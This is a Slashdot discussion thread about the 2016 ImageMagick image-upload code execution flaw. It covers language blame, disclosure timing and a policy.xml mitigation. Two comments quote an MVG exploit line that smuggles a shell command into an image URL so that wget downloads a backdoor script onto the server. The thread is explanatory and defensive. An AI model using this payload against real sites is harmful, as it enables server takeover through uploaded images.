Huge Number Of Sites Imperiled By Critical Image-Processing Vulnerability (arstechnica.com) 104
Dan Goodin, reporting for Ars Technica: A large number of websites are vulnerable to a simple attack that allows hackers to execute malicious code hidden inside booby-trapped images. The vulnerability resides in ImageMagick, a widely used image-processing library that's supported by PHP, Ruby, NodeJS, Python, and about a dozen other languages. Many social media and blogging sites, as well as a large number of content management systems, directly or indirectly rely on ImageMagick-based processing so they can resize images uploaded by end users. According to developer and security researcher Ryan Huber, ImageMagick suffers from a vulnerability that allows malformed images to force a Web server to execute code of an attacker's choosing. Websites that use ImageMagick and allow users to upload images are at risk of attacks that could completely compromise their security. "The exploit is trivial, so we expect it to be available within hours of this post," Huber wrote in a blog post. He went on to say: "We have collectively determined that these vulnerabilities are available to individuals other than the person(s) who discovered them. An unknowable number of people having access to these vulnerabilities makes this a critical issue for everyone using this software."
Re: (Score:3)
Again, why are we still TODAY writing critical core libraries in what is probably the lease secure language next to raw assembly? Go, Java, even Python would be much better alternatives.
Right, cuz Oracle isn't pumping out a security fix for java every other week.
Re: (Score:1)
There were lots of security fixes for the java applet plugin in those past years, however that's not how java based websites are built. A JVM running in a server it's not the target for that kind of attacks.
Re:C for insecurity (Score:5, Informative)
This bug has nothing to do with the language it's written in. It's a simple matter of failing to properly escape special characters when switching contexts (filename -> executable command). You can mess that up in any language.
Re: (Score:2)
FYI, you're an idiot
Written in C
Please tell me, how being written in C is worse than being written in GO, Python and Java?
Re: (Score:1)
This exploit has nothing to do with pointers or buffer overflows.
It seems to be some kind of parsing error which would not have been mitigated at all by using a different language.
Re: (Score:2)
While fundamentally I agree with you --- it's really a fault of whoever wrote the image parsing logic......I'll counter to say that some languages have a different set of defaults when parsing data, so at a theoretical level, switching languages can help or hinder parsing code. But in the end, those default behaviours can be overridden and still ultimately fall on the developers shoulders to understand and either accept or not.
Re: (Score:2)
qmail? djbdns?
Re: (Score:2)
Please tell me, how being written in C is worse than being written in GO, Python and Java?
Simple: Because it could be written in C++.
C++ is a modern language with all the performance of compiled C but with automatic buffer overflow checking, automatic memory management, no dangling pointers, etc.
(Assuming you do it right and don't let any self-entitled C programmers touch the compiler)
Re:C for insecurity (Score:4, Informative)
Re: (Score:2)
Can't tell if this is a No true Scottsman or Genetics argument...
Re: (Score:2, Insightful)
It's not really the language, it's the coding.
Like in human language, it's possible to say something grammatically incorrect in any language.
Remind us what java and python are written in (Score:5, Funny)
Take your time.
Re: (Score:2)
apps?!!
Re: (Score:1)
Java is written in... wait for it.... Java.
The JVM, OTOH.....
Its as secure as the programmer does .. (Score:5, Insightful)
Why are they much better alternatives?
The software written in (*) has no vulnerabilities?
Choosing a language does not really address security, because that choosing will affect how the programmer thinks about security and possibly the less experienced programmers will slack on "programming for safety" paradigm .. because the language does everything for the programmer.
For example:
Please have a look at fefe's gatling[1], an incredible fast http-server, with only very few security problems in the past - written entierly in "C". Also the funny thing is that certain of these highlevel languages will use bindings to these older libraries written in C.
So you will be bitten again.
From all information I overlook I can say, yes in "C" it is incredible easy to make simple errors with hugh consequences - choosing types for example. However "C"-programming can be made more secure with a strict application of certain rules especially on "forbidden" & dangerous constructions. The missconception why "C" is deemed as an insecure language is that much of the code in use stems from the "ancient" times, when such code was mostly not exposed to the raw unforgiving "force" of the internet.
Also there was not such a "zoo" for other different programming languages, so much of the software was implemented using "C". This effect is similar to todays "I use java now, I don't need to take care of security".
The different incarnations of "C" standards also play their part, similar to the "Perl-Mageddon" if you do not have a concise standard about how a programming language will be "interpreted" or "translated" you are deemed to introduce errors. Imagemagik is bloated & ancient, two aspects that are problematic. Fefe adheres to his own standards, that bloat and complexity are the real threats for security. (dietlibc vs. libc). And he is often correct on this topic.
[1] http://www.fefe.de/ [www.fefe.de]
Re:Its as secure as the programmer does .. (Score:4, Interesting)
[1] http://www.fefe.de/ [www.fefe.de]
That is the most Spartan website I've seen ever, and I am talking about the source too.
Re: (Score:2)
Yes, but it contains everything one needs, "without" popping up here, popping down there, tracking your ass, analysing your mouse etc..
In contrast to the "spartan" source, gatling works great.
And you can even get that page with gprs without much delay!
Re: (Score:2)
Re:Its as secure as the programmer does .. (Score:5, Interesting)
This—in much the same way that the huge number of PHP SQL injection attacks is not because PHP's SQL APIs are insecure, but rather because so much code is still around that was built against early APIs that lacked modern security features like template-based queries. Eventually, every language gets these sorts of complaints, and always for the same reason; most code out there is in a constant state of "deprecated, but still works, so we aren't going to touch it".
Re: (Score:3)
but rather because so much code is still around that was built against early APIs
How old? Even with the old APIs, you rarely seem to find custom PHP code where somebody bothered to do so much as addslashes() and that's been around since PHP 4.
Re: (Score:2)
That just shifts the burden and enables novices to be less likely to leave gaping holes. It doesn't really make much difference to people who know what they're doing.
Re: (Score:2)
Also the funny thing is that certain of these highlevel languages will use bindings to these older libraries written in C.
It's telling that C libraries are a major source of invulnerabilities in alternative, memory-safe languages.
However "C"-programming can be made more secure with a strict application of certain rules especially on "forbidden" & dangerous constructions.
Yeah, yeah, we've been hearing this tripe for decades. C is insecure by default, and it takes expertise and discipline to overcome that which is lacking in the real world, and even with all your "rules" you can still make a mistake. That's why in memory-safe languages all those "rules" are baked into the language.
Re: (Score:2)
It's a command-injection flaw, and any language that is able to call other programs through the shell would be vulnerable, and that includes both Python and Java.
Re:C for insecurity (Score:4, Interesting)
I'd blame the OS instead. Giving each process full access to the system just isn't a good way to do things and constantly leads to problems like this. Python can stop some those problems, but it provides by no means a secure sandbox. If you access the filesystem in Python, you still have full access to the filesystem. In cases such as this the process should be limited to exactly the data it needs to get the job done, meaning an input image, an output location and a bunch of configuration parameter.
Re: (Score:2)
LOL, Java is written in C
Re: (Score:1)
ImageMagick is as old as the hills...
Fire, fire, fire, pants on fire! (Score:2, Insightful)
"The exploit is trivial, so we expect it to be available within hours of this post," Huber wrote in a blog post.
Wouldn't it be prudent to get the maintainers for the library to patch first before making it exploit available to the public?
Re: Fire, fire, fire, pants on fire! (Score:4, Insightful)
Because keeping exploits secret leads to an ostrich mentality. Companies often prefer to shoot the messenger rather than solve the problem.
Re: (Score:1)
ImageMagick isn't a company, last I checked.
Re:Fire, fire, fire, pants on fire! (Score:5, Informative)
Suggestion: read the article and details, before making assumptions. Because if you did, you would have see that that was done. A patch was created but apparently not complete. They also include two mitigation 'patches' (config) in the disclosure. Considering the seriousness of this exploit (even I could understand it - which makes it beyond trivial) the more attention this gets, the better.
From https://imagetragick.com/
April, 21 2016 - file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team.
April, 21 2016 - file read vulnerability patched by My.Com development team
April, 28 2016 - code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report
April, 30 2016 - code execution vulnerability reported to ImageMagick development team
April, 30 2016 - code execution vulnerability fixed by ImageMagick (incomplete fix)
April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)
May, 1 2016 - ImageMagic informed of the fix bypass
May, 2 2016 - limited disclosure to 'distros' mailing list
May, 3 2016 - public disclosure at https://imagetragick.com/
Re: (Score:2)
Suggestion: read the article and details, before making assumptions.
This is Slashdot. You must be new around here.
Re: (Score:3)
Suggestion: read the article and details, before making assumptions.
This is Slashdot. You must be new around here.
What sort of newbie are you? He's AC .. I have seen him posting here for over a decade. He was one of the very first people to sign up for an account.
Re: (Score:2)
What sort of newbie are you? He's AC .. I have seen him posting here for over a decade.
Over a decade ago most comments were posted under individual accounts and only goatse trolls posted under AC.
Re: (Score:3)
What sort of newbie are you? He's AC .. I have seen him posting here for over a decade.
Over a decade ago most comments were posted under individual accounts and only goatse trolls posted under AC.
So cut the guy some slack .. he's obviously cleaned up his life.
Re: (Score:2)
[...] complaining and acting entitled [...]
Says the AC on the tiniest high horse.
Re: (Score:2)
And woosh goes the joke over the head of the pretentious user posting with an account
WOOSH!
Re: (Score:2)
"The exploit is trivial, so we expect it to be available within hours of this post," Huber wrote in a blog post.
Wouldn't it be prudent to get the maintainers for the library to patch first before making it exploit available to the public?
No matter how long it takes to get a patched version of IM, it will take far longer for people to hunt down all the places that it's running. Five years from now people will still regularly be discovering sites running vulnerable versions of it because it's everywhere and there is likely to be no quick easy way to scan for it aside from uploading a malicious file.
Re: (Score:2)
It is my understanding that it's been fixed in the latest version of imagemagick, the problem is that the distro maintainers haven't backported it yet. There is also a trivial mitigation technique: https://bugzilla.redhat.com/sh... [redhat.com]
Upload issue? Huh? (Score:2)
FTA: "They said that recent versions of ImageMagick don't properly filter the uploaded file names before passing them to the server processes such as HTTPS."
Err, why is an image processing library doing network uploads anyway?
Re: (Score:3)
Err, why is an image processing library doing network uploads anyway?
Reading comprehension, where are you?
The image processing library does just that, process images. In some cases, it processes images that have been uploaded by users to a web site (think Facebook photo albums), and if the user maliciously uploaded a booby-trapped photo, he can now make the website execute commands that were not intended by the site operator...
Re: (Score:2)
Re:Upload issue? Huh? (Score:4, Informative)
Re: (Score:2)
One image format would have the possibly to "include" contents that is to be downloaded from someplace else.
Another example of overloading a simple function with unnecessary wide-scope actions. Why should an image processing program need to use wget to do anything?
But if it did that, there'd be no point of using an image processing tool at all,
Sounds like they're not using an image processing tool, they're using a command shell that happens to understand image formats.
Re: (Score:2)
Reading through the various linked articles it looks like the issue is that ImageMagick supports formats like SVG and MVG that allow for embedded images (and enables embedded images by default), but doesn't sanity check those filenames and instead can execute them as batch scripts.
The example given is for a .mvg file:
image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O /home/vhosts/file/backdoor.pl")'
Hide the children! Block all images! (Score:2)
Shit! The internet is Nightmare on Elm Street. I'm too scared to leave Slashdot and go out and read the article.
Tripe (Score:1)
Does anyone else miss the old days of Slashdot when the comments were worth reading? I came into this article with mod points looking for things to upvote, but so far the comment breakdown seems to be 40% lame attempts at jokes, 30% an argument over whether C is a good programming language, 20% trolling, and 10% actual discussion of the bug at hand.
There was a time when the first comment you'd see would be a +5 Insightful comment that had an explanations some of the underlying technical flaws in ImageMagick
Image processing or url parsing? (Score:3)
The headline says this is an image processing vulnerability. That makes it sound like someone could put embed code into a PNG/JPG/SVG file or something like that. But skimming the linked articles, it looks more like ImageMagick has a server product with bad URL parsing.
Re: (Score:3)
That makes it sound like someone could put embed code into a PNG/JPG/SVG file or something like that. But skimming the linked articles, it looks more like ImageMagick has a server product with bad URL parsing.
From what I gathered [sucuri.net] you can put embed code into SVG/MVG files, because it lets those formats specify embedded images by default and doesn't sanity check the URL.
They give an MVG example for the exploit: image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O /home/vhosts/file/backdoor.pl")'
Re: (Score:1)
An intermediate fix (Score:5, Informative)
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL"
<policy domain="coder" rights="none" pattern="URL"
<policy domain="coder" rights="none" pattern="HTTPS"
<policy domain="coder" rights="none" pattern="MVG"
<policy domain="coder" rights="none" pattern="MSL"
<policy domain="coder" rights="none" pattern="TEXT"
<policy domain="coder" rights="none" pattern="SHOW"
<policy domain="coder" rights="none" pattern="WIN"
<policy domain="coder" rights="none" pattern="PLT"
</policymap>
You're safe now. The full fix is still being worked out.
Re:An intermediate fix (Score:5, Informative)
And if you have the old version of ImageMagick (because you are on CentOS 5, for example) which doesn't support policy.xml, you can edit delegates.xml, by removing all delegates just to be safe. The file will be somewhere around: /usr/lib64/ImageMagick-6.2.8/config/
Re: (Score:1)
Use GraphicsMagick instead (Score:4, Informative)
Re: (Score:2)
I've been using GraphicsMagick ever since debian switched to that package for better compatibility. I have been very happy with it; it is fast, versatile and, as I learned to day, more secure. Some of my users e-mailed me to warn me of the ImageMagick vulnerability, It's good that I could sleep through this one.
On a related note, not sanitizing incoming filenames is just bad security practice. It's the very first thing I do to any uploaded file.